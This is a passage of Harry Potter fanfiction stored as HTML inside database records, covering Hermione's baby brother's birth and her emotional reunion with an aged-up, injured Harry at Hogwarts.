&quot;I&#8217;m having contractions. I need to go to the hospital.&quot; Letting go of me, he shouted for Winston and ran to look for his keys.</p>\n\n<p> I blankly stared at my mom, not knowing what to feel. <i>I am going to be a sister soon but my heart is aching with pain. Should I be happy right now or sad beyond belief? </i></p><i>\n\n</i><p>	&quot;Nene?&quot; She reached her hand out to me. I took it sitting besides her. &quot;No matter what anyone tells you about women being weak, remember one thing.&quot; I was puzzled at the unexpected comment. &quot;We are strongest during pregnancy and for the ones we love. No matter the heartache or pain, we women endure it all. We take it in, breathe out and continue on. You know why?&quot;</p>\n\n<p>	&quot;Why?&quot; I whispered.</p>\n\n<p>	&quot;Because love is a powerful thing. It&#8217;s not flowers, hearts, or romances. But a solid bond, which survives through all the stumbles and falls in life. Don&#8217;t let anything break that. Don&#8217;t let them see you weak from it. Don&#8217;t doubt it&#8217;s there in the first place.&quot; She kissed my forehead soothing away my headache. But one main thought ran through my mind. <i>Am I in love with Harry Potter?</i></p> '),
	(239, 14, ' <p>Disclaimer: Last I checked, my name wasn&#8217;t J.K Rowling. </p>\n\n<p>Well here it is. After this chapter, things will start to get more action packed. In the future, you will see a lot more Blaise and a stronger side of Hermione. Also would anyone out there like to be my beta reader for grammar checks? The two I had seem to disappear. Just email me at scarlet_emma@hotmail.com if you do. Anyway hope you enjoy this one and hope to hear your responses. Thanks for reading!</p>\n\n<b><p>The Middle of Understanding</p>\n\n</b><p>Chapter 13</p>\n\n<b><u><p>Birth and the Unknown Man</p>\n\n</u></b><p></p>\n\n<p>	&quot;My mom use to say, being alone with to many thoughts could lead to a serious problem.&quot; My dad sat besides me in the cold waiting room. I blinked away from the peach Hospital wall to see his concerned face. He sighed not knowing what else to say to my sulky manner. Then like any father, he shifted over extending his arms towards me. Automatically I snuggled into his fatherly embrace. </p>\n\n<p>	I closed my eyes picturing that I was 5 again. I was still his little sunshine and he was still the comforting hero. He still smelled of peppermint and dried toothpaste. His hands were large yet lean and long. I nuzzled closer in to his chest while his grip was guarding and possessive.</p>\n\n<p>	What felt like years of reminiscence only occurred in a few passing minutes. The silence wasn&#8217;t new but the shaking was never experienced. I arched my neck to see him crying freely. I had only seen him cry once in my life, which was a long time ago.</p>\n\n<p>	My mother had been pregnant before but almost lost her life to the miscarriage. Yes I had a younger brother before. I was only 3 so the memory is a bit blurry. I just remember him crying and screaming out. &quot;Only two more months and I could have held you safely.&quot; An irritated patient had accidentally pushed my mom down the stairs causing her to lose the baby. We usually visit him whenever we have the chance. Douglas Patrick Jr. would have been 12 now. I guess that&#8217;s why they were so nervous to have another child. They didn&#8217;t want to lose this one like his older brother. It&#8217;s difficult to imagine if he was still alive today. Would he be a normal muggle? Would he be magical as well? Maybe I would have had a Quidditch star in my family.</p>\n\n<p>	Feeling the fresh tears in my hair, I moved back to wipe them away from his face. My action only made him cry harder into my hands. <i>Why are you crying Daddy? You&#8217;re always the carefree and strong one? You&#8217;re going to have a son again. Don&#8217;t cry.</i></p><i>\n\n</i><p>	&quot;Daddy?&quot; I murmured out, kissing his forehead. He slowly regained his composure and breathed normally.</p>\n\n<p>	&quot;I&#8217;m sorry. I came here to help you but in return you did that for me.&quot; He lifted his hand to wipe away the dry tears.</p>\n\n<p>	&quot;I was just thinking to myself.&quot;</p>\n\n<p>	&quot;No you sat there looking so much older. You sat there and I wondered where my baby girl went. You hugged me like you use too and I didn&#8217;t realize how much I needed to be your daddy again.&quot; He moved his left hand and leaned his head against it. &quot;Sunshine, I&#8217;m going to be a father again.&quot;</p>\n\n<p>	&quot;Dad you already are one.&quot; My eyebrows wrinkled in confusion.</p>\n\n<p>	&quot;I know. It&#8217;s just that you do not depend on me anymore. I&#8217;m not you entire world. You have a life outside of me.&quot;</p>\n\n<p>	&quot;Dad you will always be apart of my world. But I do understand what you mean.&quot; I smiled with affinity.</p>\n\n<p>	&quot;I guess the idea amazes me again. I mean I get another chance to hear someone call me daddy. I can see my son fall, talk, cry, and laugh. I will see him grow up exactly like you and wonder how on earth I was blessed with this.&quot; He reached out and cupped my chin. <i>How was I blessed to have him as a father?</i> I opened my mouth to speak when he quickly covered my lips. &quot;I&#8217;m also sad because now you officially don&#8217;t need me. I&#8217;ll always be your father. I&#8217;ll always be there to worry and love. But you have someone else who you need as much as he does. I was crying because I&#8217;m going to have one child who needs me while the other needs someone else. I lose one and get another. Ironic how the world works isn&#8217;t it?&quot;</p>\n\n<p>	&quot;Doug, Hermy where is she?&quot; Sophia asked abruptly standing before us in an overly expensive sparkling gown.</p>\n\n<p>	&quot;Room 153, turn left at the corner.&quot; My dad pointed with his right hand. &quot;Where is Elizabeth?&quot;</p>\n\n<p>	&quot;She is telling her date to leave but they are arguing about it now. Honestly that man is as stubborn as a mule. Our best friend is in labor and he still wants to go to the New Year&#8217;s bash.&quot; Sophia brushed away a loose strand from her face.</p>\n\n<p>	&quot;Men are stubborn.&quot; <i>Especially one named Harry Potter</i>.</p>\n\n<p>	&quot;Sophy where is she?&quot; Elizabeth appeared flustered and angry. Her usual perky smile was masked behind pure annoyance. <i>She actually has negative emotions</i>. Noticing our presence, she returned to her normal smile with a hint of force. &quot;Doug, Hermy how are you feeling?&quot;</p>\n\n<p>	&quot;Good,&quot; we both replied tiredly.</p>\n\n<p>	&quot;Smashing as always. Well come on Sophy, I want to see Vicky.&quot; She tugged on her sister&#8217;s arm.</p>\n\n<p>	&quot;Lizzy loosen your grip! I am not Herald.&quot; The both turned left to visit my already suffering mother. <i>I hope my mom doesn&#8217;t explode with them in there. Wait a second&#8230;that would be great to see</i>.</p>\n\n<p>	&quot;In another hour and half, it&#8217;ll be a New Year. Do you think I have to wait that long for me to hold my son?&quot; Dad returned to gaze at me.</p>\n\n<p>	&quot;Probably&#8230;I mean it does take hours before the actually delivery. But I know what we can do until then.&quot; I started to crawl closer to him.</p>\n\n<p>	&quot;Oh and what would that be great daughter of mine?&quot;</p>\n\n<p>	&quot;I can snuggle with my daddy without sharing you with anyone else.&quot; I stared starry eyed at a man I knew as my father. &quot;Let me be your little girl one last time?&quot;</p>\n\n<p>	&quot;Baby you&#8217;ll always be my little girl. And you never have to ask to be held in my arms.&quot; Again I returned into his arms savoring the moment of being his only child one last time.</p>\n\n<p>&nbsp;</p>\n\n<p>	I woke hearing giggling and the smell of very expensive perfume. Rubbing my eyes, I realized I had fallen asleep on the sofa with a handmade shawl over my shoulders. Looking across the waiting area, I saw the Jones sisters flirting madly with Winston. Surprisingly he didn&#8217;t shrug away from the attention. I didn&#8217;t blame him though. Even with their overly enthusiastic personalities, it was hard not to notice how enchanting they were.</p>\n\n<p>Sensing my awaken state, they inched apart from their obvious advance on Winston. He started to blush and I tired to hide a smirk. <i>Well at least I know he still is the shy man I have known all these years</i>.</p>\n\n<p>	&quot;The sleeping beauty awakes from her slumber.&quot; Winston greeted sipping his tea.</p>\n\n<p>	&quot;What time is it?&quot; I returned the shawl to Sophia with a genuine smile.</p>\n\n<p>	&quot;6:30 in the morning. You should sleep more.&quot; Elizabeth stood stretching her tired limbs.</p>\n\n<p>	&quot;I think I&#8217;ll go check on mom.&quot; I stood up from the sofa.</p>\n\n<p>	&quot;Your dad just went in,&quot; Sophia replied helpfully.</p>\n\n<p>	&quot;Thanks.&quot; I started to walk away when I paused. Since my return home, my feelings towards the Jones sisters were still exactly the same. Yet their dramatic attitudes didn&#8217;t bother me as much, seeing my mom laugh whenever they were around. They helped her with anything and everything. And deep down in my heart, I couldn&#8217;t really say they were annoying. <i>How superficial can someone be if they notice the</i>\n\n<i>smallest details about someone you love?</i> They looked up from my sudden posture and wondered what was wrong. &quot;I really meant that. Thank you for being here for my parents. They really are lucky to have friends like you.&quot; </p>\n\n<p>Then I quickly left leaving them with their own thoughts. I know I had never been a fan of the twins. <i>But you have to admit; not many people drop everything in their life for painstaking hours. What is the world coming too? Next I&#8217;ll be having girl talk with my roommates. </i>I shivered from the thought<i>. Now that will definitely not happen.</i></p><i>\n\n</i><p>	I entered into the room to see my dad laying his head on the bed. He was staring contentedly at my mother&#8217;s face. While she had one hand running through his hair and the other rubbing her stomach. They were humming a soothing tune, which I had heard many times as a child. Closing the door, they looked towards me with enamored grins. <i>How can they look so beautiful with only a few hours of sleep?</i></p><i>\n\n</i><p>	&quot;How do you do it?&quot; I stepped towards the bed.</p>\n\n<p>	&quot;Do what Nene?&quot; My mom innocently asked.</p>\n\n<p>&quot;Be so in love, even through all these years.&quot;</p>\n\n<p>	&quot;Sunshine that&#8217;s what love is. Enduring through all the years of heartache and pleasure.&quot;</p>\n\n<p>	&quot;It&#8217;s not easy. But once you find it, it doesn&#8217;t seem to hard to handle.&quot; They finished each other&#8217;s sentence without a wink of an eye. I smiled and sat on the bed. While my father moved up and sat next to my mother.</p>\n\n<p>	&quot;I think we should discuss his name.&quot; My mom suddenly said out loud.</p>\n\n<p>	&quot;Good idea! Where&#8217;s the list?&quot; My dad rummaged through her black leather purse. &quot;Here it is.&quot; He paused glancing over the writing. &quot;We are not naming him Lysander.&quot;</p>\n\n<p>	&quot;Why not?&quot; My mom pouted at her decision.</p>\n\n<p>	&quot;We already named Hermione from Shakespeare. I&#8217;m not doing it again with my son.&quot; Dad huffed slightly annoyed.</p>\n\n<p>	&quot;Well we&#8217;re not naming him Churchhill either.&quot; I laughed at my mom&#8217;s frustrated expression.</p>\n\n<p>	&quot;I like Churchill honey. I mean he was a great man in our history.&quot;</p>\n\n<p>	&quot;Our son will not be named Churchill Douglas Granger. What am I suppose to say for a nickname? Church or Hill? I rather not, thank you very much!&quot;</p>\n\n<p>	&quot;Do you think Lysander would be any better. I could never picturing myself calling him Ly or Sander.&quot; Their bicker continued on down the list and I sat with amusement at the scene. They went through a variety of names when they glanced at the last one.</p>\n\n<p>	&quot;Did you put that name down?&quot; My mom asked my dad.</p>\n\n<p>	&quot;No I didn&#8217;t&quot;</p>\n\n<p>	&quot;I did.&quot; I sheepishly replied. &quot;I know it&#8217;s not a popular name. It&#8217;s not even English but I love the way it sounds. And don&#8217;t you think the name carries mystery and intelligent. When I say it out loud, I think it describes who a Granger is.&quot; They were awfully quiet which I assumed was they&#8217;re thinking of how to turn me down.</p>\n\n<p>	&quot;I like it!&quot; Dad folded the paper away.</p>\n\n<p>	&quot;Me too,&quot; my mom smiled gleefully. &quot;Dante Douglas Granger.&quot; She voice became very soft.</p>\n\n<p>	&quot;Our son.&quot; Dad looked over at my mom with love shining through.</p>\n\n<p>	&quot;We can call him DD for short.&quot; I teased playfully at the idea. They didn&#8217;t reply but their smiled carried a very mischievous aura.</p>\n\n<p>	&quot;Oh dear lord, my water just broke!&quot; And with that said, metal chaos broke through everyone&#8217;s mind. My mom was then rushed off to the delivery room with my dad faithfully following behind. Winston calmly sat waiting but I saw him gently check his pulse every few minutes. The Jones sisters were twitching like frogs being poked by little boys. If I weren&#8217;t so nervous, I would have been laughing frantically. Uncle Drew and Aunt Rosemary had just arrived from the earliest train in from Paris. They had worn out face expressing little sleep but they had grins a mile wide. Various other friends paced the hallway, while chanting amiably about life in general. I sat there quietly wondering if this day would ever come. </p>\n\n<p>	Then at 10:42 am on January 1, 1996, Dante Douglas Granger was greeted into this world after 14 gruesome hours of anticipation. <i>I&#8217;m finally a sister</i>. <i>Someone who will look up to me for help and advice</i>. <i>Someone who will always carry the same blood and heritage as me.</i>\n\n</p>\n\n<p>	Suddenly I found myself standing in front of the hospital room with them inside. Half of visitors were inside while the other in the hallway. I wanted to step inside but part of me held back. <i>What if he</i>\n\n<i>doesn&#8217;t like me?</i>\n\n<i>What if he turns into a major brat? What if he thinks I&#8217;m weird for being a witch? What if</i>\n\n<i>I never love him?</i>\n\n</p>\n\n<p>Sensing my anxiety, Uncle Drew guided me into the cheerful and noisy room. Every clamor, action, and thought tuned out my head, when I saw them comfortably sitting there. My dad had his arm proudly around my mother&#8217;s shoulder. His other hand gently caressed the baby&#8217;s fragile head. My mom was carrying him with love glowing brightly around her. Her head was tilted brushing against my father&#8217;s chest. I sucked in a choking croak from the awe of picture perfect. I had never seen anything more siren in my life. I walked closer; noticing everyone had ended their conversations to stare at me. I stepped besides my dad, while only staring at him. <i>He is so small. Was I ever that size?</i> My mom carefully moved and held the baby out towards my arms. Apprehensively I took him in to my arms in wonder. He opened his tiny blue eyes and stared directly at me. Then all the doubts and worries flew out of my mind. <i>My baby brother&#8230;Dante. I had never experienced love at first sight until now.</i></p><i>\n\n<p>&nbsp;</p>\n\n</i><p>	&quot;Send me millions of pictures mom. I don&#8217;t want to miss a single thing Dante does.&quot; I repeated again as we arrived near the Hogwarts Express.</p>\n\n<p>	&quot;I will Nene.&quot; My mom answered gently holding Dante in her arms.</p>\n\n<p>	&quot;Sunshine remember to send us a letter about Harry. We want to hear that everything is all right.&quot; Dad pushed the cart towards me, so I could take the bar.</p>\n\n<p>	&quot;I will the minute I see him.&quot; I tried to conceal my very stressed expression.</p>\n\n<p>	&quot;Don&#8217;t worry Nene. I&#8217;m sure he is fine.&quot; My mom reassured again. &quot;Well give me one last hug.&quot; I embraced her cautiously trying not to wake my brother.</p>\n\n<p>	&quot;Bye mom. Bye little guy.&quot; I placed a small kiss on Dante&#8217;s squishy forehead.</p>\n\n<p>	&quot;Becareful Sunshine. I rather not want to hear about you being petrified or turned into an animal again.&quot; He opened his arms towards me.</p>\n\n<p>	&quot;I&#8217;ll try not to repeat that.&quot; I hugged him one last time. Then I headed towards the barrier shouting out, &quot;love you, always will and never half way!&quot; I lost sight of my family and into the chaotic atmosphere of magic. Younger children were being fussed over while older students conversed with friends. I strolled along with my belongings, looking for a familiar face. Sadly I stumbled upon the last person I wanted to see.</p>\n\n<p>	&quot;Granger I see you have returned to your original roots. When you&#8217;re always one way, you can never change the fact of it.&quot; Malfoy taunted smugly with his goons standing behind him.</p>\n\n<p>	&quot;Why Malfoy I didn&#8217;t know you cared so much for my appearance? I must say I am quite proud of who I am. Are you?&quot; I scoffed back at him.</p>\n\n<p>	&quot;Of course I am. I am a Malfoy!&quot; he arrogantly replied with his bodyguards nodding.</p>\n\n<p>	&quot;Yes the great pureblood Malfoys. Your one of the oldest and richest family in the magic community.&quot; I started to notice people forming a circle around us.</p>\n\n<p>	&quot;What is your point Granger? Or are you just stating the pure fact again?&quot; He rolled his eyes in boredom.</p>\n\n<p>	&quot;There really is no point. I&#8217;m just wondering what that name means outside magic society?&quot; </p>\n\n<p>	&quot;What does that have to do with anything?&quot; Malfoy answered puzzled at my comment.</p>\n\n<p>	&quot;Of course it does Malfoy. Do you really think there is no connection between muggles and wizards?&quot; I shook my head in his ignorance.</p>\n\n<p>	&quot;Granger I&#8217;m tired of this petty verbal exchange. So get to the main objective within this century.&quot; I ignored his statement and continued on.</p>\n\n<p>	&quot;Malfoy in the magic community your powerful, rich, and famous. While I&#8217;m still new and making my own name.&quot; The crowd was fairly large now, wondering at my point as well.</p>\n\n<p>	&quot;And you&#8217;re point is?&quot; His voice barked out.</p>\n\n<p>	&quot;While you have this status, I still carry my muggle representation. My family is well known with money, respect, and influence. And do you want to know why I&#8217;m so happy about that?&quot; I innocently asked.</p>\n\n<p>	&quot;Do tell?&quot; Malfoy&#8217;s voice was dripping with sarcasm.</p>\n\n<p>	&quot;While you fiddle around forever in your own little impudent circle, I&#8217;ll be gaining everything you have on both sides. That&#8217;s why I&#8217;m so proud of myself Malfoy. Because I can make something out of myself with either side of the coin and you&#8217;ll be stuck endless with one name and title.&quot; I challenged with an eyebrow raised waiting for a reply. My words slowly fused into their minds, and no one could answer back. Flipping my bushy hair with a brush from my hand, I walked away with pride spilling out of my skin. <i>Got him!</i></p><i>\n\n<p>&nbsp;</p>\n\n</i><p>&nbsp;</p>\n\n<p>	&quot;Quite a show Hermione! Prepare me next time when you&#8217;re in the mood for another verbal massacre and I&#8217;ll bring the popcorn.&quot; Blaise entered in to the compartment with her usual smirk.</p>\n\n<p>	&quot;Actually I feel a little bad about it. I mean I have been so worried lately that he just got the end of it.&quot; I continued to pet Crookshanks, who sat comfortably on my lap.</p>\n\n<p>	&quot;Don&#8217;t be remorse. Malfoy is a spoiled nitwit who hasn&#8217;t seen the real world yet. Besides I&#8217;ve been waiting for someone to wipe that aggravating smirk of his.&quot; She flopped onto the seat across from me.</p>\n\n<p>	&quot;I take it New Years was as fun as always.&quot; I tired not to laugh at her frustrated expression.</p>\n\n<p>	&quot;Hardly! There was the great Draco and his loyal baboons walking around like snotty kings. My favorite pretentious roommates bragging about what daddy got them for Christmas. And the most narcissistic stepmother, who wouldn&#8217;t know how to survive without her own bloody mirror handy.&quot; Blaise vented out all in one amazing breath.</p>\n\n<p>	&quot;Sounds like fun!&quot; I replied sarcastically.</p>\n\n<p>	&quot;Being a smart aleck doesn&#8217;t suit you.&quot; She sighed. &quot;I see you brought your cat again.&quot;</p>\n\n<p>	&quot;Yes, we decided that it would be better for Dante. Besides my parents can owl me whenever they want with Nice.&quot; Crookshanks adjusted his body over towards the left.</p>\n\n<p>	&quot;Come here you overly obese feline.&quot; Blaise cooed out towards him. Yet again he listened and jumped to her lap.</p>\n\n<p>	&quot;I think you are the only person that can tease him and still have his attention.&quot;</p>\n\n<p>	&quot;He respects honesty.&quot; She started to baby him. &quot;Did you miss me? Oh you have gotten fatter. What are we going to do with you?&quot; She smiled sweetly at Crookshanks. I shook my head back and forth. <i>How can this overly cynical and blunt girl still have this unseen girlish attitude? The world works in funny ways</i>.</p>\n\n<p>	&quot;I can only help you if you talk outside of your head.&quot; Blasie looked up at me.</p>\n\n<p>	&quot;Who said I was?&quot; I gazed to see the moving scenery passing by.</p>\n\n<p>	&quot;You were frowning and biting your lip. You only do that when you&#8217;re thinking.&quot;</p>\n\n<p>	&quot;You notice?&quot;</p>\n\n<p>	She smirked again. &quot;I have studied in the library enough with you to notice.&quot;</p>\n\n<p>	&quot;I am scared to return to Hogwarts.&quot; I replied knowing she knew what I meant.</p>\n\n<p>	&quot;Don&#8217;t be. Harry is fine. He will be waiting like he always does in that overly white infirmary.&quot;</p>\n\n<p>	&quot;But I don&#8217;t know what to expect. Ron just told me to be prepared to see him changed. Can I handle what happened to him?&quot; I started to cry again. Blaise quickly moved next to me.</p>\n\n<p>	&quot;Hey&#8230;don&#8217;t start the tears. You know it will not solve anything. Besides I think you have cried enough these past few weeks.&quot; She continued to hold me.</p>\n\n<p>	&quot;I know. I know. But what if he&#8217;s missing an arm? Or a leg? Or an eye? How can Ron just say be prepared and not say why?&quot; I started shaking and lunged forward.</p>\n\n<p>	&quot;Sh&#8230;&quot; Blaise pulled me and I crashed into her lap. &quot;Your Harry is going to be fine M. Ron maybe an insensitive git but he would tell you if it was worst.&quot;</p>\n\n<p>	&quot;Really?&quot; I blew my nose and rubbed my puffy eyes.</p>\n\n<p>	&quot;Have I ever lied to you?&quot;</p>\n\n<p>	&quot;No,&quot; I hoarsely answered.</p>\n\n<p>	&quot;I&#8217;m confident he is fine and you should be too.&quot; I sat up and stared into her unyielding blue eyes.</p>\n\n<p>	&quot;You help me way too much. I really can be such a nuisances to you. I feel like I have not helped you enough as a friend.&quot; I took her hands carefully.</p>\n\n<p>	&quot;Hermione anyone else in this world can say that but you! You&#8217;re the only reason why I keep going on in this painstaking community.&quot; She tightened my grip showing me never to let go of her as well.</p>\n\n<p>&nbsp;</p>\n\n<p>	Blaise and I parted ways when we finally arrived at Hogwarts. I numbly followed Neville across the river, and listened to him talk about his Christmas with his Gram. It seemed like the water was extra thick and miles apart. <i>I need to see him!</i> Once we reached land, I sprinted off not caring how I looked to others. I entered in to the enormous castle to be greeted by Professor McGonegall.</p>\n\n<p>	&quot;He&#8217;s awake. I&#8217;ll take you to see them.&quot; She gave a small but firm smile. I stood still frozen from her words. <i>He&#8217;s awake. He&#8217;s really awake</i>. Regaining my focus, I quickly followed her to the infirmary. Every step I took, I was wishing to arrive sooner. Finally those familiar white doors were seen straight down the hall. Not even realizing it, I started to run towards the destination. Forgetting all my other thoughts, I pushed inside.</p>\n\n<p>	In the far corner stood the whole Weasley clan, smiling gleefully about something just said. Opposite of them was a bandaged up Remus with Professor Figgs peeling an orange. Next to her was the Headmaster who had his hand on a familiar man&#8217;s shoulder. Glancing over him, I saw that he had a broken arm and wide humorous grin. <i>Is that? Wow he looks different</i>. <i>Sirius you finally look normal again</i>. He had shaved his beard showing off his very handsome face. His black hair was still long but was held by a low ponytail. <i>He looks healthier or at least he actually has eaten meals</i>. Finally my eyes landed on a lone figure in front of the window near Ron. He appeared to be very muscular with wide broad shoulders. He looked to be in his 30s and had the rugged warrior appearance. His hair was glimmering black that was shining in the sun&#8217;s reflection. This mystery man seemed to be older yet he carried this age of innocence. <i>Maybe he hasn&#8217;t seen</i>\n\n<i>much in this world</i>. <i>He could have been held captive like Harry was</i>. I glanced remembering about Harry. <i>Where is he? They said he would be here</i>.</p>\n\n<p>	&quot;Where is he?&quot; I spoke so quietly I wasn&#8217;t sure they heard me. Ron turned away from the stranger and opened his arms to greet me. I crashed into him allowing the much-needed support.</p>\n\n<p>	&quot;Mione, he&#8217;s all right. Did you get my last letter?&quot;</p>\n\n<p>	&quot;Yes, you told me to be prepared. Ron tell me where he is? You promised I would see him when I returned. Well I&#8217;m back! I want to see Harry.&quot; I started to cry again, helpless to this vulnerable side of myself.</p>\n\n<p>	&quot;Mione you are seeing him.&quot; Ron guided me towards the window. &quot;Because there he is.&quot; The strange figure turned around properly facing me. I saw his defined cheekbones and tight jaw. He had messy black hair and what looked like a lightening scar. And finally I saw those piecing green eyes, which only belonged to one person. <i>It couldn&#8217;t be!</i></p><i>\n\n</i><p>	We stood there only a few feet apart, letting the silence seclude us from everyone. I gasped then sighed. <i>It couldn&#8217;t be! It&#8217;s just not possible. You never thought being a witch was possible either</i>. I reached out and touched his face. <i>He felt rough and worn, unlike my Harry who had smooth skin</i>. I moved closer searching for the familiar warmth he always radiated. <i>My Harry sent tingles with in eyesight</i>. Desperately I embraced him around his slim but firm waist. <i>My Harry wouldn&#8217;t be so motionless towards me</i>. <i>But he smells like Harry. He feels like Harry. He looks at me like Harry.</i></p><i>\n\n</i><p>	I was shaking now, with confusion mucking in my mind. My sobs echoed in the room and I never felt so naked before. Slowly this man bent down, holding my left hand firmly. He moved his mouth to my ear and whispered out.</p>\n\n<p>	&quot;Nene please don&#8217;t ignore me. I could never handle that from you.&quot; <i>Sweet Merlin what has happened to you?</i></p><i>\n\n</i><p>	&quot;Oh Harry!&quot; I shouted out and collapsed in to his arms. </p> '),
	(239, 15, ' <p>Disclaimer: No still not mine.</p>\n\n<p>Here it is! I need to thank my beta reader Malu, who did a great job with my horrible grammar. Also to the other people who wanted to be my beta reader, I lost your email address. I know. I&#8217;m an airhead. If you still want to be my beta reader, just email again and I promise not to lose your email.</p>\n\n<p> I hope this chapter explains a few things that left you very unsettled in the last one. Don&#8217;t worry, I didn&#8217;t leave this one with a cliffhanger. But hopefully the next few chapters will be action packed (depending how creative I get). So remember to stay tune. Anyway I will be busy with finals, so hopefully to all you dedicated readers you will just have to wait 2 &#189; weeks. </p>\n\n<p>Until then, I hope you enjoy this one and looking forward to hear your responses. For all my fanfiction.net readers, I have adjusted my option so anonymous reviewers can sign as well. So please do, if you want. On with the story and I hope you like it!</p>\n\n<b><p>The Middle of Understanding</p>\n\n</b><p>Chapter 14</p>\n\n<b><u><p>Revealing the Truth</p>\n\n</u></b><p></p>\n\n<p>	I woke feeling linen sheets beneath my body. <i>This doesn&#8217;t feel like my bed</i>. Opening my eyes, I saw a grand white ceiling. <i>Wait&#8230;I&#8217;m back at Hogwarts</i>. Looking around I saw everyone sitting near the bed, waiting patiently. <i>I wasn&#8217;t dreaming</i>. Turning my head, I faced those same green eyes.</p>\n\n<p>	&quot;Your awake.&quot; An older Harry said calmly. I nodded and sat up against the wall, gaining everyone&#8217;s attention.</p>\n\n<p>	&quot;What happened?&quot; I glanced everywhere but Harry&#8217;s face.</p>\n\n<p>	&quot;You fainted dear.&quot; Mrs. Weasley smiled beside the bed.</p>\n\n<p>	&quot;For only a few minutes,&quot; Ginny added quickly.</p>\n\n<p>	&quot;I told you to be prepared.&quot; Ron teased standing next to Harry.</p>\n\n<p>	&quot;Ron!&quot; Various voices yelled out. He flinched and shyly looked down.</p>\n\n<p>	&quot;Ms. Granger I believe you must have many questions to ask. Would you like to wait until tomorrow to do so?&quot; Professor Dumbledore gently asked. <i>Fix my curiosity or the throbbing headache?</i> I glanced towards the older version of Harry. <i>I think I need some definite answers first</i>. </p>\n\n<p>	&quot;How about the simple ones for now?&quot; I meekly said. </p>\n\n<p>	&quot;Are you sure Hermione? I mean you just fainted and everything. What you have seen probably hasn&#8217;t arranged fully in your mind.&quot; Ginny blurted out abruptly.</p>\n\n<p>	&quot;I would like my answers now.&quot; I said with more force. </p>\n\n<p>	&quot;Well ask away Hermione.&quot; Remus smiled with Professor Figgs standing behind him.</p>\n\n<p>	&quot;Why is Harry so much older?&quot; I looked around the room.</p>\n\n<p>	&quot;We gave him an aging potion. But then he was hurt, and if he was to change back right now, the injury would worsen for him.&quot; Sirius replied suddenly while looking very tired.</p>\n\n<p>	&quot;Where are you hurt?&quot; I became more worried. </p>\n\n<p>	&quot;He broke three ribs, internal bleeding in his stomach, and strained his back.&quot; Ginny placed her hand over mine, hoping to lessen my concern for Harry. I gave a small smile at the gesture.</p>\n\n<p>	&quot;Why did you leave Harry?&quot; I finally locked eyes with him.</p>\n\n<p>	&quot;I believe we can answer that another day.&quot; The headmaster interrupted Harry&#8217;s response. </p>\n\n<p>	&quot;Why need a aging potion?&quot; I glanced back to Sirius.</p>\n\n<p>	&quot;Because we didn&#8217;t want him to be recognized,&quot; Bill answered for Sirius.</p>\n\n<p>	&quot;What were you doing then?&quot; I replied back.</p>\n\n<p>	&quot;Again that will be answered another day.&quot; Professor Dumbledore said calmly, fully aware of my raising temper.</p>\n\n<p>	&quot;Am I ever going to get an answer from you Harry?&quot; My teeth clenched while my face was turning slightly pink from anger. Everyone uncomfortably backed away from us, while tension spilled out between Harry and I. </p>\n\n<p>	Clearing his throat Remus dared to speak. &quot;Well I think I have answered your main questions for now. Bella do you still want to show me that thing in your room?&quot; </p>\n\n<p>	&quot;What?&quot; She looked puzzled at him. &quot;Oh&#8230;yes that thing. Yes it&#8217;s in my room. I should show you it right now.&quot; She directed her eyes at me. &quot;Well Hermione I hope you feel better.&quot; Like scared children they quickly left the room.</p>\n\n<p>	&quot;Ah&#8230;I think Lee should be back in the Common Room by now. Come on Fred lets go meet him.&quot;</p>\n\n<p>	&quot;Great!&quot; Fred shouted out. &quot;Catch you guys later.&quot; Then the twins ran off as well not being use to dramatic serious moments.</p>\n\n<p>	&quot;I need to go to the library for a&#8230;Charms! I&#8217;ll talk to you later.&quot; Ginny scuttled out the door with her red hair fly behind her by the speed.</p>\n\n<p>	&quot;Charlie lets all go to your room for tea.&quot; Mrs. Weasley called out loud. Then everyone left quickly nodding to the comment. <i>Is it just me or is everyone purposely leaving?</i></p><i>\n\n</i><p>	&quot;Great idea Molly. Sirius do you want to join us?&quot; Mr. Weasly asked briskly.</p>\n\n<p>	&quot;I&#8217;m fine here actually.&quot; Sirius sat back on to his chair.</p>\n\n<p>	&quot;No you want to have some tea. Trust me, you need it.&quot; Bill took Sirius by his unwounded arm.</p>\n\n<p>	&quot;Why should&#8230;&quot; his eyes caught the expression from Bill. &quot;Oh! I mean yes, I would love to join you.&quot;</p>\n\n<p>	&quot;Well Hermione, Harry, and Ron we will see you tomorrow then.&quot; The headmaster then left with the adults in a swift motion for the door. <i>Well that was obvious! </i></p><i>\n\n</i><p>Harry had moved towards the window again while I still sat in the bed. Ron stood quietly besides me, but then whispered into my ear. &quot;Mione do you want me to stay?&quot;</p>\n\n<p>	&quot;I think Harry and I need to talk.&quot; My eyes only stayed focused on Harry&#8217;s profile.</p>\n\n<p>	&quot;Okay.&quot; He looked towards Harry. &quot;I&#8217;ll be back Harry. I have to go do something. I&#8217;ll swing by later.&quot; Ron then patted my shoulder and left us alone in the large vacant room. <i>Well Granger you&#8217;re finally alone</i>\n\n<i>with him</i>. I slowly got off the bed, and stepped closer towards his body. <i>He&#8217;s still Harry. He just looks</i>\n\n<i>older</i>. <i>But he looks old enough to be your father. Why did I have to think about that?</i></p><i>\n\n</i><p>	&quot;I&#8217;ll be normal by Monday.&quot; He broke my train of thought.</p>\n\n<p>	&quot;I would assume so, since you&#8217;re so calm about this.&quot; I neutrally replied standing besides him. &quot;Are you feeling better.&quot; I asked with more emotion.</p>\n\n<p>	&quot;Much better now,&quot; he smiled softly towards me. I sighed at how easily he could be charming again. <i>Oh Harry what I am going to do with you?</i></p><i>\n\n</i><p>&quot;Do you want to play 20 questions or will you tell me what really is happening?&quot;</p>\n\n<p>	&quot;I can&#8217;t tell you yet.&quot; I stared shocked at what he said. &quot;I mean not until tomorrow. I can answer things tomorrow.&quot;</p>\n\n<p>	&quot;Well then, if you have nothing to say now, I&#8217;ll be leaving.&quot; I sharply replied and turned to walk away.</p>\n\n<p>	&quot;Wait!&quot; He forcefully tugged me towards him. &quot;Please don&#8217;t be mad?&quot;</p>\n\n<p>	&quot;That&#8217;s a laugh. You want me to stay, but you&#8217;re not willing to tell me anything.&quot; I glared at him.</p>\n\n<p>	&quot;You usually don&#8217;t need to know all the answers to understand me.&quot; He directed his eyes away from mine.</p>\n\n<p>	&quot;As your friend, I would try my best to understand whatever situation you are in.&quot; I paused with Blaise&#8217;s words screaming in my head. &quot;As your girlfriend, I would like to know the reasons why you do things to yourself without telling me.&quot; I ended up yelling.</p>\n\n<p>	&quot;You&#8217;re my girlfriend?&quot; Harry let go of my hand sounding very young. <i>I knew he didn&#8217;t like me. I knew it!</i></p><i>\n\n</i><p>	&quot;Fine! I&#8217;m not your girlfriend. Just some random girl you make out with.&quot; He was still silent. &quot;Harry Potter you can be the most thick-headed unaware teenage 